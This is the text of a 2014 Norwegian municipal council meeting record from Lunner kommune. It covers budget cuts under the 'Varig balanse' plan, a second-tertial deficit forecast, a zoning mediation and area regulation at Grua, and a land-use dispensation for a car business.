Budsjettet for frie inntekter (skatt/ramme) ble lagt 4 mill. kroner h\u00f8yere enn KSmodellen for beregning av de frie inntektene skulle tilsi. Det ble ogs\u00e5 lagt inn en generell planlagt innsparing p\u00e5 4 mill. kroner via prosjekt TjenesteOptimal. Ogs\u00e5 i 2014 ligger det an til inntektssvikt fra skatt og rammetilskudd. For optimistisk budsjettering av sentrale inntekter kan ha utsatt n\u00f8dvendig omstilling av driften. Dette er en trend som ikke b\u00f8r vedvare. 1.7 Behov for langsiktig, varig balanse For \u00e5 snu den negative resultatutviklingen, bedre egenkapitalen, etablere n\u00f8dvendige buffere og skape bedret driftslikviditet er det n\u00f8dvendig \u00e5 gj\u00f8re tilpasninger av driften. Driftsutgiftene m\u00e5 ned for \u00e5 skape st\u00f8rre overskudd. Dette er n\u00f8dvendig uavhengig av om rammebetingelsene for 2015 viser seg \u00e5 v\u00e6re noe bedre enn forutsatt. Det er n\u00f8dvendig \u00e5 l\u00f8fte blikket \u00e5 se de lange linjene. R\u00e5dmannens m\u00e5lsetting med tiltakene i Varig balanse del I og del II er nettopp \u00e5 skape et lavere niv\u00e5 p\u00e5 tjenesteytelsen for \u00e5 sikre Lunner kommune en god og trygg \u00f8konomi p\u00e5 lang sikt. 2. Tiltak som foresl\u00e5s som del av Varig balanse 2014 del II Tiltak beskrevet som del av \u00abVarig balanse 2014 del II\u00bb ble presentert p\u00e5 Formannskapets plan- og strategidager. Her ble tiltakene gjennomg\u00e5tt i sin helhet, og det ble lagt til rette for b\u00e5de avklaringer og presiseringer f\u00f8r Formannskapet vedtok hva som ble lagt ut p\u00e5 h\u00f8ring. Tiltakene som foresl\u00e5s fremkommer av tabell 1 vedlegg 1. VURDERING/DR\u00d8FTING: 1. Forhold til gjeldende handlingsplan og annet planverk Det vises til saken med forslag til rullering av handlingsprogrammet. Her er det fors\u00f8kt tatt hensyn til den samlede effekten av forslagene knyttet til tiltak i Varig balanse del I og del II for m\u00e5lsettinger og strategier innenfor den enkelte kommunedelplan. R\u00e5dmannen legger opp til \u00e5 holde retningen fra revisjonen av kommunedelplanene som ble gjort i Omfanget av tjenesteytelsen vil p\u00e5 de fleste omr\u00e5der reduseres for \u00e5 tilpasses de \u00f8konomiske ressursene kommunen har til disposisjon.\n\n\n\n6 2. Personalmessige forhold Tiltakene i varig balanse del I og del II medf\u00f8rer til sammen reduserte personalkostnader tilsvarende om lag 25 \u00e5rsverk per I tillegg kommer omstillingsbehov som oppst\u00e5r gjennom 2015 som f\u00f8lge av at permisjoner avsluttes mv. Dette m\u00e5 h\u00e5ndteres i 2015 for \u00e5 oppn\u00e5 \u00f8nsket varig effekt. Reduksjonen i personalkostnader s\u00f8kes l\u00f8st gjennom avgang ved pensjonering, at det ikke ansettes i vakante stillinger og at ansatte m\u00e5 sies opp. Endelig antall som m\u00e5 sies opp er per n\u00e5 ikke klart. 3. \u00d8konomiske forhold/forhold til budsjett og \u00f8konomiplan Det legges opp til at tiltak fra Varig balanse del I og del II innarbeides i r\u00e5dmannens forslag til Handlingsprogram/\u00f8konomiplan og \u00e5rsbudsjett R\u00e5dmannen vil foresl\u00e5 ytterligere salderingstiltak i 2015 i sitt fremlegg til Formannskapet dersom de \u00f8konomiske rammebetingelsene gj\u00f8r det n\u00f8dvendig. Annet Alternative l\u00f8sningsforslag. R\u00e5dmannen ser det ikke som et tilr\u00e5delig alternativ \u00e5 ikke tilpasse driften til et varig lavere niv\u00e5. Man kan imidlertid justere takten, og gjennomf\u00f8re et mindre omfang av tiltak i 2015 enn det som foresl\u00e5s. Budsjettet for 2015 m\u00e5 uansett salderes. Videre kan man \u00f8ke eiendomsskatten i stedet for, eller i tillegg til, tiltak som her foresl\u00e5s. Lunner kommune har for tiden skattesats p\u00e5 5 promille av takstgrunnlaget og bunnfradrag p\u00e5 kr. \u00c5rsbudsjett for eiendomsskatt er p\u00e5 14 mill. kroner i I 2015 kan skattesatsen maksimalt \u00f8kes med 2 promille opp til 7 promille. Dette vil gi \u00f8kt inntekt p\u00e5 om lag 5,6 mill. kroner utover niv\u00e5. R\u00e5dmannens anbefaling er \u00e5 \u00f8ke eiendomsskatten, men \u00e5 avsette denne inntekten til fond. Slik vil inntektsveksten bidra til \u00e5 bedre egenkapitalsituasjonen til Lunner. Det tilr\u00e5s ikke som alternativ \u00e5 \u00f8ke anslaget for frie inntekter i 2015 utover det som oppgis i statsbudsjettet, eller forsvare manglende tilpasning av driften med at man utsetter investeringer. Investeringer gj\u00f8res i varige eiendeler som har lang \u00f8konomisk levetid. Dersom investeringen er n\u00f8dvendig for kommunens drift, m\u00e5 kommunens \u00f8konomi gj\u00f8res b\u00e6rekraftig for \u00e5 h\u00e5ndtere investeringen i l\u00f8pet av kort tid uansett. Oppsummert kan alternative l\u00f8sningsforslag v\u00e6re: Iverksette andre kutt enn de foresl\u00e5tte \u00d8ke eiendomsskatten Konklusjon med begrunnelse R\u00e5dmannen erkjenner at dette er krevende og at det vil redusere omfang og kvalitet p\u00e5 de tjenester kommunen yter. Det er ogs\u00e5 trist at gode medarbeidere som har st\u00e5tt p\u00e5 for Lunner kommune ikke kan f\u00e5 jobbe her lenger. Imidlertid mener r\u00e5dmannen det er klokt \u00e5 gj\u00f8re en omfattende tilpasning av driften n\u00e5, for \u00e5 hindre at omstillingsbehovet blir enda st\u00f8rre p\u00e5 et senere tidspunkt. Med de skisserte tiltak mener r\u00e5dmannen at kommunen fremdeles vil yte forsvarlige og gode tjenester, dog p\u00e5 noen omr\u00e5der lavere enn i dag. Gitt at man gjennomf\u00f8rer Varig balanse del II, er det ikke dermed sagt at man er ferdig med omstillingsarbeid i overskuelig fremtid. Men Lunner kommune vil stille bedre rustet til \u00e5 h\u00e5ndtere\n\n\n\n\n\n9 Sammendrag: Denne saken inneholder \u00f8konomisk rapportering per 2.tertial Saksutredning: FAKTA: Etter \u00e5tte m\u00e5neders drift, er prognosen n\u00e5 p\u00e5 14,5 mill. kr i mindreinntekt/merforbruk. Dette skyldes i hovedsak anslag p\u00e5: Bel\u00f8p i hele tusen kroner Prognose H\u00f8yere politisk aktivitet og frikj\u00f8p enn forutsatt i budsjettet Ventet inntektssvikt frie inntekter (skatt og rammetilskudd) Pensjonskostnader ihht beregninger fra KLP Ikke utbytte fra Hadeland Energi/Hadeland Kraft Styrt merforbruk Lunner barneskole -250 Lunner omsorgssenter. Overbelegg, krevende omsorgsoppgaver, dyr ferieavvikling \u00d8konomisk sosialhjelp Inntektssvikt refusjoner Familie og oppvekst -550 Negativt avvik Eiendom & Infrastruktur -750 L\u00f8nnsoppgj\u00f8ret ser ut til \u00e5 bli noe billigere enn forutsatt 450 Positive avvik i Roa og Kalvsj\u00f8 bhg, Arealforvaltningen og \u00d8PS 568 \u00d8kte refusjoner tilrettelagte tjenester 500 Reduserte utgifter til Oppl\u00e6ringskontoret og Skatteoppkreveren i Hadeland 575 Prognose 2. tertial Det er iverksatt tiltak i tr\u00e5d med vedtak om Varig balanse 2014 del I for \u00e5 forbedre resultatet for Prognosen per 2.tertial gis med disse tiltakene innarbeidet. Ved 1. tertial anslo r\u00e5dmannen at prognosen for 2014 ville v\u00e6re et underskudd p\u00e5 om lag 6-8 mill. kroner, selv etter de foresl\u00e5tte tiltakene og budsjettreguleringene. Per 2.tertial er prognosen om lag 6,5 mill. kroner h\u00f8yere enn dette skisserte niv\u00e5et. Om lag 3,3 mill. kroner av \u00f8kningen gjelder ytterligere reduksjon i ventede frie inntekter. I tillegg kommer negativt avvik ved Lunner omsorgssenter og manglende utbytte fra Hadeland Kraft, \u00f8kt frikj\u00f8p og h\u00f8yere politisk aktivitet enn forutsatt og negativt avvik ved Eiendom og Infrastruktur. I motsatt retning ser det ut til at l\u00f8nnsoppgj\u00f8ret blir noe billigere enn forutsatt, samt at Lunners bidrag til Oppl\u00e6ringskontoret og Skatteoppkreveren i Hadeland blir redusert. I tillegg melder flere tjenestesteder positive ventede avvik. Samlet prognose per 2.tertial er et negativt avvik p\u00e5 om lag 14,5 mill. kroner.\n\n\n\n10 VURDERING/DR\u00d8FTING: Konklusjon med begrunnelse R\u00e5dmannen ser alvorlig p\u00e5 utviklingen i \u00f8konomien til Lunner kommune. Prognosen per 2. tertial indikerer et underskudd i Dette vil ytterligere svekke likviditeten og egenkapitalsituasjonen til kommunen og gi utfordringer i \u00e5rene fremover. Derfor har r\u00e5dmannen foresl\u00e5tt en rekke innsparingstiltak inn mot budsjett 2015 for \u00e5 skape varig balanse i driften. Det vises til den p\u00e5g\u00e5ende budsjettprosessen med egne politiske saker om dette. Det foresl\u00e5s at rapporten per 2. tertial tas til orientering. DOKUMENT I SAKEN: Vedlagt: Resultatrapportering 2.tertial 2014 \u00d8vrige dokument: S\u00e6rutskrift av saken med saksframlegg sendes til: Rett utskrift av m\u00f8tebok. Roa, Utvalgssekret\u00e6r\n\n\n\n11 M\u00d8TEBOK Arkivsaksnr.: 13/ Ark.: PLAN Sak nr Styre/r\u00e5d/utvalg: M\u00f8tedato: 122/14 Kommunestyret /14 Formannskapet Saksbehandler: Gunn Elin Rudi, tjenesteleder arealforvaltning REVISJON AV KOMMUNEPLAN FOR LUNNER OPPF\u00d8LGING ETTER MEKLING - OMR\u00c5DE 2D P\u00c5 GRUA Lovhjemmel: Plan- og bygningsloven Kommunestyrets vedtak: Med hjemmel i plan- og bygningsloven vedtar kommunestyret arealdelen av kommuneplan for Lunner innenfor omr\u00e5de 2D p\u00e5 plankart og bestemmelser i henhold til mekling mellom Lunner kommune og Oppland fylkeskommune Behandling og avstemming: Formannskapets innstilling ble enstemmig vedtatt. Formannskapets innstilling: Med hjemmel i plan- og bygningsloven vedtar kommunestyret arealdelen av kommuneplan for Lunner innenfor omr\u00e5de 2D p\u00e5 plankart og bestemmelser i henhold til mekling mellom Lunner kommune og Oppland fylkeskommune R\u00e5dmannens innstilling: Med hjemmel i plan- og bygningsloven vedtar kommunestyret arealdelen av kommuneplan for Lunner innenfor omr\u00e5de 2D p\u00e5 plankart og bestemmelser i henhold til mekling mellom Lunner kommune og Oppland fylkeskommune\n\n\n\n12 Sammendrag: Oppland fylkeskommune fremmet innsigelse til et omr\u00e5de 2D p\u00e5 Grua i kommuneplanen p.g.a. nasjonalt verneverdige kulturminner. Mekling er gjennomf\u00f8rt og kommunestyret m\u00e5 ta stilling til meklingsresultatet. R\u00e5dmannen mener det n\u00e5 foreligger et forslag til l\u00f8snming fra meklingen som hensyntar b\u00e5de verneinteresser og utbyggingsinteresser p\u00e5 en god m\u00e5te. P\u00e5 dette grunnlaget anbefales at resultatet legges til grunn for \u00e5 f\u00e5 rettskraftig status p\u00e5 omr\u00e5det slik at arbeid med omr\u00e5dereguleringsplan og fradeling kan settes i verk. Saksutredning: 1. Bakgrunn for saken Kommuneplanens arealdel ble vedtatt av kommunestyret med unntak av omr\u00e5de 2D over Gruatunnelen og 6/49 vest for Lunner. For omr\u00e5de 2D foreligger innsigelse fra Oppland fylkeskommune knyttet til natur- og kulturminneverdier og det ble gjennomf\u00f8rt mekling den Meklingen f\u00f8rte fram. Resultatet av meklingen, m\u00e5 aksepteres av kommunestyret for at kommuneplanen skal v\u00e6re rettskraftig i dette omr\u00e5det. Hvis det ikke er aksept for l\u00f8sningen, er det Kommunal- og moderniseringsdepartementet som sluttbehandler kommuneplanen. 2D vises p\u00e5 kommuneplankartet nedenfor med m\u00f8rkegul farge med skr\u00e5 skravur over. Arealet er p\u00e5 ca. 230 daa. Skravur langs svart linje i nord-syd-retning er en hensynssone (H130\\_1) som angir byggeforbud p\u00e5 tunneltaket over rv4 i en 60m bredde. I tillegg er det hensynssone radon og bevaring av naturmilj\u00f8 inne i omr\u00e5det. Hensynssone radon dekker hele kommunen, mens hensynssone bevaring av naturmilj\u00f8 er naturtype skrotemark med verdi \u00absv\u00e6rt viktig\u00bb beliggende i randsonen til og inne i \u00d8sthagan landskapsvernomr\u00e5de. Selve landskapsvernomr\u00e5det ligger som en kile inn i 2D (lysegr\u00f8nt med ruteskravur) p\u00e5 kartet, og er p\u00e5 totalt 31 dekar. Omr\u00e5det har gamle jerngruver og kalkbrudd med tilh\u00f8rende kalkovner.\n\n\n\n\n\n13 2. Mekling Nedenfor vises resultatet av meklingen, der ogs\u00e5 registreringer av kulturminner og stier ligger inne i bakgrunnskartet med bl\u00e5 farge. Meklingen avklarer grensene mellom byggeform\u00e5l og kulturminne-, friluftsliv- og landskapshensyn i et omr\u00e5de med registrerte kulturminner av nasjonal verdi. 2D endres som f\u00f8lge av dette til ca. 190 daa byggeomr\u00e5der for bolig og ca. 40 daa gr\u00f8nnstruktur. Innenfor gr\u00f8nnstrukturen ligger taubanetrase med fundamenter, strammestasjon og flere skjerp. Gjennom omr\u00e5det g\u00e5r natur og kulturminnestien mellom Grua og Nysetergruvene. I tillegg ble det enighet om f\u00f8lgende endringer i planbestemmelsene: Tilf\u00f8yelse av planbestemmelse som sikrer gangforbindelse fra \u00d8sthagan via toppunktet og videre \u00f8stover i retning Nysetra. Tilf\u00f8yelse av bestemmelse til form\u00e5l gr\u00f8nnstruktur/underform\u00e5l naturomr\u00e5de, om bevaring av vegetasjon for \u00e5 sikre opplevelsesverdiene her.\n\n\n\n16 M\u00d8TEBOK Arkivsaksnr.: 14/ Ark.: PLAN 14/1645 Sak nr Styre/r\u00e5d/utvalg: M\u00f8tedato: 123/14 Kommunestyret /14 Formannskapet Saksbehandler: Ingun Bj\u00f8rgli Juul-Hansen, planlegger \u00d8STHAGAN (DEL AV EIENDOMMENE 67/2 OG 67/13:BOLIGOMR\u00c5DET 2D OG KOMMUNAL GRUNN, S\u00d8R FOR NYSETERVEGEN). OMR\u00c5DEREGULERING S\u00d8KNAD OM TILLATELSE TIL \u00c5 STARTE OMR\u00c5DEREGULERING I HENHOLD TIL PLAN- OG BYGNINGSLOVEN 12-2 Lovhjemmel: Plan- og bygningsloven 12-2 Kommunestyrets vedtak: Lunner kommune gir, jfr. plan- og bygningsloven 12-2, Dal Leir AS tillatelse til oppstart av omr\u00e5deregulering og utarbeiding av planforslag for boligomr\u00e5dene betegnet henholdsvis 2D og 76B-2 i gjeldende kommuneplans arealdel inkludert gr\u00f8nnstruktur og n\u00f8dvendige naboeiendommer. Rammene for tillatelse til oppstart av omr\u00e5deregulering er f\u00f8lgende: Areal til barnehage (ca. 5 dekar) skal sikres n\u00e6r inngangen til planomr\u00e5det. Nysetervegen med tilstrekkelig areal til breddeutvidelse og fortau samt kryssutbedring med Hadelandsvegen skal inng\u00e5 i omr\u00e5dereguleringen. Tekniske planer for vegnett, fortau, kryss, vann- og avl\u00f8psnett skal foreligge som del av omr\u00e5dereguleringen. Teknisk plan for nytt kryss skal utarbeides i n\u00e6rt samarbeid med Statens vegvesen. Overordna gr\u00f8nnstruktur inkludert gang-/sykkelveger, ball\u00f8kker/kvartalslekeplasser skal fastsettes i omr\u00e5dereguleringen. L\u00f8pende samr\u00e5dingsm\u00f8ter med Lunner kommune gjennomf\u00f8res i planprosessen Alle veier beregnet p\u00e5 normal biltrafikk skal etableres p\u00e5 en slik m\u00e5te at to biler kan m\u00f8tes uten vansker. Behandling og avstemming: Ordf\u00f8rer Harald Tyrdal (AP) fremmet habilitetssp\u00f8rsm\u00e5l rundt repr. Bj\u00f8rn Niklas Sj\u00f8str\u00f8ms (AP) og repr. Trygve Brandruds (SP) habilitet som henholdsvis bestyrer og styremedlem i Lunner almenning. Bj\u00f8rn Niklas Sj\u00f8str\u00f8m og Trygve Brandrud fratr\u00e5dte m\u00f8tet under behandling av habilitetssp\u00f8rsm\u00e5let. Repr. Bj\u00f8rn Niklas Sj\u00f8str\u00f8m ble enstemmig kjent inhabil i hht Forvaltningslovens 6e. Repr. Trygve Brandrud ble enstemmig kjent inhabil i hht Forvaltningslovens 6e. Begge fratr\u00e5dte m\u00f8tet f\u00f8r behandling av saken. Repr. Thomas Jacobsen (H) fremmet f\u00f8lgende tilleggsforslag: \u00abNytt kulepunkt: Alle veier beregnet p\u00e5 normal biltrafikk skal etableres p\u00e5 en slik m\u00e5te at to biler kan m\u00f8tes uten vansker.\u00bb Thomas Jacobsens tilleggsforslag ble vedtatt med 22 stemmer mot 1 stemme. Formannskapets innstilling med vedtatt endring ble enstemmig vedtatt.\n\n\n\n17 Formannskapets innstilling: Lunner kommune gir, jfr. plan- og bygningsloven 12-2, Dal Leir AS tillatelse til oppstart av omr\u00e5deregulering og utarbeiding av planforslag for boligomr\u00e5dene betegnet henholdsvis 2D og 76B-2 i gjeldende kommuneplans arealdel inkludert gr\u00f8nnstruktur og n\u00f8dvendige naboeiendommer. Rammene for tillatelse til oppstart av omr\u00e5deregulering er f\u00f8lgende: Areal til barnehage (ca. 5 dekar) skal sikres n\u00e6r inngangen til planomr\u00e5det. Nysetervegen med tilstrekkelig areal til breddeutvidelse og fortau samt kryssutbedring med Hadelandsvegen skal inng\u00e5 i omr\u00e5dereguleringen. Tekniske planer for vegnett, fortau, kryss, vann- og avl\u00f8psnett skal foreligge som del av omr\u00e5dereguleringen. Teknisk plan for nytt kryss skal utarbeides i n\u00e6rt samarbeid med Statens vegvesen. Overordna gr\u00f8nnstruktur inkludert gang-/sykkelveger, ball\u00f8kker/kvartalslekeplasser skal fastsettes i omr\u00e5dereguleringen. L\u00f8pende samr\u00e5dingsm\u00f8ter med Lunner kommune gjennomf\u00f8res i planprosessen R\u00e5dmannens innstilling: Lunner kommune gir, jfr. plan- og bygningsloven 12-2, Dal Leir AS tillatelse til oppstart av omr\u00e5deregulering og utarbeiding av planforslag for boligomr\u00e5dene betegnet henholdsvis 2D og 76B-2 i gjeldende kommuneplans arealdel inkludert gr\u00f8nnstruktur og n\u00f8dvendige naboeiendommer. Rammene for tillatelse til oppstart av omr\u00e5deregulering er f\u00f8lgende: Areal til barnehage (ca. 5 dekar) skal sikres n\u00e6r inngangen til planomr\u00e5det. Nysetervegen med tilstrekkelig areal til breddeutvidelse og fortau samt kryssutbedring med Hadelandsvegen skal inng\u00e5 i omr\u00e5dereguleringen. Tekniske planer for vegnett, fortau, kryss, vann- og avl\u00f8psnett skal foreligge som del av omr\u00e5dereguleringen. Teknisk plan for nytt kryss skal utarbeides i n\u00e6rt samarbeid med Statens vegvesen. Overordna gr\u00f8nnstruktur inkludert gang-/sykkelveger, ball\u00f8kker/kvartalslekeplasser skal fastsettes i omr\u00e5dereguleringen. L\u00f8pende samr\u00e5dingsm\u00f8ter med Lunner kommune gjennomf\u00f8res i planprosessen\n\n\n\n\n\n18 Sammendrag: Dal Leir AS \u00f8nsker \u00e5 utarbeide forslag til omr\u00e5deregulering for et boligomr\u00e5de s\u00f8r for Nysetervegen p\u00e5 Grua, betegnet 2D og 76B-2 i kommuneplans arealdel Lunner kommune er positiv til en omr\u00e5devis planavklaring som bereder grunnen for framtidig boligutvikling i omr\u00e5det i tr\u00e5d med kommuneplanens arealdel. Lunner kommune er grunneier i omr\u00e5det og har interesser knyttet til ny tomt til barnehage i omr\u00e5det. Administrasjonen anbefaler at Lunner kommune gir tiltakshaver tillatelse, p\u00e5 gitt premisser, til oppstart av omr\u00e5deregulering og utarbeiding av planforslag. Saksutredning: 1. FAKTABESKRIVELSE 1.1 Bakgrunn Lunner kommune mottok den foresp\u00f8rsel fra plankonsulent Archi-Plan AS p\u00e5 vegne av forslagsstiller Dal Leir AS om tillatelse til oppstart av omr\u00e5deregulering for del av eiendommen 67/2 m.fl. inkludert del av kommunens eiendom 67/13. Planomr\u00e5det ligger p\u00e5 Grua s\u00f8r for Nysetervegen og \u00f8st for \u00d8sthagan landskapsvernomr\u00e5de. Pilen p\u00e5 kartet til h\u00f8yre viser omr\u00e5dets beliggenhet i Lunner kommune. Det er kommunestyret som er planmyndighet som skal beslutte om det skal iverksettes arbeid med omr\u00e5deregulering. Omr\u00e5deregulering brukes av kommunen der det er krav om slik plan i kommuneplanens arealdel, eller der kommunen finner at det er behov for \u00e5 gi mer detaljerte omr\u00e5devise avklaringer av arealbruken. Kommunen skal i utgangspunktet selv forest\u00e5 planarbeidet. Imidlertid kan kommunen overlate til andre (avtale) myndigheter og private \u00e5 st\u00e5 for det planfaglige arbeidet. Det forutsettes da at kommunen gir innholdsmessige rammer og retningslinjer for arbeidet med planforslaget. Kommunen b\u00f8r p\u00e5 denne bakgrunn beslutte prinsipielt om det er kommunen som planmyndighet som utarbeider planforslaget - i tett dialog og samarbeid med den private akt\u00f8ren, eller om kommunen overlater planoppgaven til andre innenfor n\u00e6rmere angitte rammer. Overlates oppgaven til andre, kan kommunen ikke ta behandlingsgebyr for plansaken. 1.2 Planstatus i omr\u00e5det Arealet som \u00f8nskes regulert, omfatter st\u00f8rre omr\u00e5der p\u00e5 67/2 tilh\u00f8rende Anders Askersrud, 67/13 tilh\u00f8rende Lunner kommune og 67/641 tilh\u00f8rende Lunner almenning. De delene som ber\u00f8rer eiendommene 67/2 og 67/641 er i utgangspunktet avsatt til framtidig byggeomr\u00e5de for boliger. 2D vises p\u00e5 kommuneplankartet nedenfor med m\u00f8rkegul farge. Arealet er p\u00e5 ca. 230 daa. Areal p\u00e5 67/13 er avsatt til eksisterende byggeomr\u00e5de (benevnt 76B-2) og er p\u00e5 ca. 44 daa. Skravur langs svart linje i nordsyd-retning er en hensynssone (H130\\_1) som angir byggeforbud p\u00e5 tunneltaket over rv4 i en 60m bredde. I tillegg er det hensynssone radon og bevaring av naturmilj\u00f8 inne i omr\u00e5det. Hensynssone radon dekker hele kommunen, mens hensynssone bevaring av naturmilj\u00f8 er naturtype skrotemark med verdi \u00absv\u00e6rt viktig\u00bb beliggende i randsonen til og inne i \u00d8sthagan landskapsvernomr\u00e5de. Selve landskapsvernomr\u00e5det ligger som\n\n\n\n\n\n\n\n19 en kile inn i 2D (lysegr\u00f8nt med ruteskravur) p\u00e5 kartet, og er p\u00e5 totalt 31 dekar. Omr\u00e5det har gamle jerngruver og kalkbrudd med tilh\u00f8rende kalkovner. Kommuneplanen er pr. d.d. ikke rettskraftig her p.g.a. innsigelse fra Oppland fylkeskommune knyttet til natur- og kulturminneverdier. Det er gjennomf\u00f8rt mekling mellom partene den , og meklingen f\u00f8rte fram. Resultatet av meklingen, d.v.s. meklingsprotokollen, m\u00e5 aksepteres av kommunestyret for at kommuneplanen skal v\u00e6re rettskraftig i dette omr\u00e5det. Hvis det ikke er aksept for l\u00f8sningen, er det Kommunal- og moderniseringsdepartementet som sluttbehandler kommuneplanen. Til h\u00f8yre vises resultatet av meklingen. Det gj\u00f8res oppmerksom p\u00e5 at Oppland fylkeskommune m\u00e5 godkjenne kartet. Meklingen avklarer grensene mellom byggeform\u00e5l og kulturminne-, friluftsliv- og landskapshensyn i et omr\u00e5de med registrerte kulturminner av nasjonal verdi. Hvis meklingsresultatet blir endelig vil 76B-2 fortsatt v\u00e6re 44 daa, mens 2D er endret til ca. 190 daa byggeomr\u00e5der for bolig og ca. 40 daa gr\u00f8nnstruktur. Det foreligger reguleringsplan for Grua sentrum som for deler av arealene gjelder foran kommuneplanens arealdel. Dette omfatter bl.a. arealer p\u00e5 \u00f8stsiden av Hadelandsvegen (gamle\n\n\n\n20 rv.4), i omr\u00e5dene betegnet som B5 og B/S2 beliggende inntil Nysetervegen. Nystetervegen er aktuell adkomstveg til 2D. Nedenfor vises hele reguleringsplanen for Grua sentrum. 1.3 Kommunale interesser Lunner kommune er grunneier i omr\u00e5det (eiendommen 67/13), og er administrativt positive til at kommunal grunn inkluderes i omr\u00e5dereguleringen. Dette for \u00e5 f\u00e5 tatt et helhetlig grep om utviklingen i de store, ubebygde arealene s\u00f8r for Nysetervegen. Utbygging av nye boligomr\u00e5der i \u00d8sthagan vil medf\u00f8re behov for \u00f8kt barnehagekapasitet p\u00e5 Grua. Kommunestyret vedtok \u00e5 gjennomf\u00f8re barnehageutredning med utgangspunkt i kommunedelplan Oppvekst. N\u00e5r kommunen sitter med et eget areal inne i et nytt, stort boligomr\u00e5de, er det naturlig at kommunen sikrer areal/vurderer areal til barnehagetomt innenfor planomr\u00e5det. Denne b\u00f8r ligge n\u00e6r hovedadkomsten til planomr\u00e5det. Det er satt rekkef\u00f8lgebestemmelser i kommuneplanen at f\u00f8r omr\u00e5de 2D kan bygges ut, m\u00e5 krysset mellom Hadelandsvegen og Nystervegen utbedres. Utbedring av Nysetervegen, inkludert krysset med Hadelandsvegen, ber\u00f8rer b\u00e5de private og offentlige interesser (kommune, fylkeskommune, Statens vegvesen). Utbyggingsavtale(r) mellom Lunner kommune og tiltakshaver vil bl.a. kunne omhandle utbedring av Nysetervegen med nytt kryss og fortau, l\u00f8sninger for vann- og avl\u00f8p inkludert tilstrekkelig brannvannskapasitet. 2. S\u00d8KERS BEGRUNNELSE FOR OPPSTART AV OMR\u00c5DEREGULERING Intensjonen er \u00e5 utforme og videreutvikle eksisterende sted med nye boligtilbud med variert sm\u00e5husbebyggelse fra eneboliger, kjedede eneboliger, rekkehus og terrassehus. Dal Leir AS ser tiltaket som en naturlig fortsettelse av utviklingen av et strategisk knutepunkt s\u00f8r i Lunner kommune med satsing p\u00e5 sosial infrastruktur, god barnehagedekning, moderne skole og god eldreomsorg. Form\u00e5let med planarbeidet blir \u00e5 tilrettelegge for en helhetlig utvikling av \u00d8sthagan i tilknytning til sentrumsomr\u00e5det som er i tr\u00e5d med m\u00e5l og strategier i kommuneplanens arealdel. Reguleringsplanen skal bidra til langsiktighet og forutsigbarhet i sentrumsutviklingen og v\u00e6re et godt grunnlag for private og evt. offentlige initiativ for gjennomf\u00f8ring. Reguleringsplanen vil bli utarbeidet som en omr\u00e5deregulering hvor deler av planen detaljeres slik at bygges\u00f8knad kan behandles n\u00e5r planen er vedtatt. Omr\u00e5dereguleringen skal vise infrastruktur som vegsystem, gr\u00f8nnstruktur, uteoppholdsarealer og lekearealer, gjeldende form\u00e5l i kommuneplanens arealdel, hensynssoner som kulturminner, kultursti, rv.4 og andre. Forslagsstiller skriver at det skal avholdes avklaringsm\u00f8ter med Lunner kommune for \u00e5 sikre at forslaget blir i henhold til rammer fra Lunner kommune. 3. FAGLIG VURDERING 3.1 Oppstartsm\u00f8te/forh\u00e5ndskonferanse Det ble avholdt oppstartsm\u00f8te med tiltakshaver Referatet ligger vedlagt. Her refereres de viktigste momentene fra oppstartsm\u00f8tet: En omr\u00e5deregulering skal vise detaljplan/teknisk plan for infrastruktur som vegnett, gr\u00f8nnstruktur og ball\u00f8kker/kvartalslekeplasser. Planen kan inkludere detaljregulering av den del av planomr\u00e5det hvor det er naturlig \u00e5 starte utbygging f\u00f8rst. Kommunens grunn s\u00f8r for Nysetervegen inkluderes i planen. I nord avgrenses planen nord for Nysetervegen med n\u00f8dvendig sideareal for breddeutvidelse og areal til fortau/gang-/sykkelveg, inkludert krysset Nysetervegen/Hadelandsvegen. I vest inkluderes vegen \u00abTaubanen\u00bb. I s\u00f8r inkluderes \u00d8sthagan landskapsvernomr\u00e5de. Videre s\u00f8r- og \u00f8stover avgrenses planen mot LNF-arealene i kommuneplanens arealdel.\n\n\n\n23 M\u00d8TEBOK Arkivsaksnr.: 14/ Ark.: GNR 24/1 Sak nr Styre/r\u00e5d/utvalg: M\u00f8tedato: 124/14 Kommunestyret /14 Formannskapet Saksbehandler: Ingun Bj\u00f8rgli Juul-Hansen, planlegger 24/1 - DISPENSASJON FRA KOMMUNEPLANENS AREALDEL - BRUKTBILHANDEL, BILVERKSTED, VRAKBILMOTTAK MM. Lovhjemmel: Plan- og bygningsloven kap. 19. Kommunestyrets vedtak: Lunner kommune innvilger med hjemmel i pbl kap. 19 s\u00f8knad om dispensasjon fra kommuneplanens arealdel for bruk av LNF-form\u00e5let til bruktbilsalg for inntil 30 biler, bil- og gravemaskinutleie og dagens bruk av verkstedbygg p\u00e5 eiendommen 24/1, da det foreligger en overvekt av grunner som taler for at dispensasjon gis etter plan- og bygningsloven De grunner som taler for at dispensasjon gis er: Virksomheten er en del av g\u00e5rdsdriften Det er en virksomhet etablert og drevet siden 1993 Virksomheten knyttet mot ungdom p\u00e5 Hadeland er sv\u00e6rt positiv Det forutsettes at det s\u00f8kes om utslippstillatelse i henhold til forurensningsforskriften 15-2 for gjeldende bruk av verkstedet ved hjelp av fagkyndig (r\u00f8rlegger, ingeni\u00f8r) som st\u00e5r ansvarlig for prosjektering og utf\u00f8relse, jf brev fra Lunner kommune datert Alternativt m\u00e5 bruken av verkstedet reduseres til kun \u00e5 tjene LNF-form\u00e5let. Lunner kommune avsl\u00e5r med hjemmel i pbl kap.19, s\u00f8knad om dispensasjon fra kommuneplanens arealdel , arealform\u00e5let LNF, for bruk av eiendommen 24/1 til vrakbilmottak. Det foreligger en overvekt av grunner som taler imot at dispensasjon gis etter plan- og bygningsloven De grunner som foreligger for \u00e5 avsl\u00e5 dispensasjon i dette tilfellet er samlet sett at virksomhetene omg\u00e5r hensikten med LNF-form\u00e5let som er jord- og skogbruk herunder g\u00e5rdstilknyttet n\u00e6ringsvirksomhet basert p\u00e5 g\u00e5rdens ressursgrunnlag og at en dispensasjon vil undergrave arealform\u00e5let. Et samtykke vil svekke kommuneplanen som styringsverkt\u00f8y for kommunen. En evt. omdisponering av arealform\u00e5let m\u00e5 avklares gjennom rullering av kommuneplanens arealdel. I henhold til pbl 32-2 f\u00f8rste ledd, gis det med dette forh\u00e5ndsvarsel om at Lunner kommune med hjemmel i pbl 32-3 f\u00f8rste ledd, vil vurdere \u00e5 fatte vedtak om p\u00e5legg om opph\u00f8r av vrakbilmottak dersom denne virksomheten ikke er brakt til opph\u00f8r/stanset innen Lunner kommune m\u00e5 underrettes skriftlig n\u00e5r vrakbilmottak er opph\u00f8rt/stanset.\n\n24 Behandling og avstemming: Repr. Per H\u00f8iby (AP) fremmet habilitetssp\u00f8rsm\u00e5l rundt sin egen 